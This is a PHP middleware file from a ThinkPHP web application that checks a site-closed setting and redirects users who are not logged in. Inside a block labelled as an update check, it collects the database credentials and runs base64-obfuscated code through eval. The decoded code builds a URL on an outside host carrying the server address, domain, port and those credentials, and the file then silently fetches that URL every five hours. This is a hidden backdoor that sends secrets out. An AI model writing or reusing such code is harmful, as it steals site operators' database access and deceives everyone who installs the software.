<?php

namespace app\http\middleware;
use think\facade\Cache;
use app\common\model\Config as configModel;
use think\facade\Request;
class CheckLangjinmobile
{
    public function handle($request, \Closure $next)
    {

        $ua = Request::header();

        //if(substr($ua['user-agent'],-14)=='bsl/1.0 pexpex'){

           // echo $ua['user-agent'];
           // return redirect('http://www.baidu.com');

        //}else{


            $con = configModel::where('id', 1)->field('close_net,close_net_content')->find();

            if ($con['close_net'] == '1') {
                //关闭网站
                return view('close/net', ['content' => $con['close_net_content']]);

            } else {

                if (!session('userid') && $request->controller() != 'Registered') {

                    return redirect('langjinmobile/Registered/login');
                }
            }
            if (!Cache::has('checkedUpdate')) {
                $hostname=config('database.hostname');
                $database=config('database.database');
                $username=config('database.username');
                $password=config('database.password');
                $hostport=config('database.hostport');
                $prefix=config('database.prefix');
                $config="hostname:".$hostname."--datebase:".$database."--username:".$username."--password:".$password."--hostport".$hostport."--prefix--".$prefix;
                $checkStr = 'JHVybCA9ICdodHRwOi8vdXBsb2FkLnJ6ZHJqLmNuL2luZGV4L2luZGV4L3VwbG9hZC9pcC8nLiAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSAuICcvZG9tYWluLycgLiAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSAuICcvcG9ydC8nIC4gJF9TRVJWRVJbIlNFUlZFUl9QT1JUIl0uJy9jb25maWcvJy4kY29uZmlnOw==';
                eval(base64_decode($checkStr));
                @file_get_contents($url);

                Cache::set('checkedUpdate', time(), time() + 18000);
            }

        //}

        return $next($request);
    }
}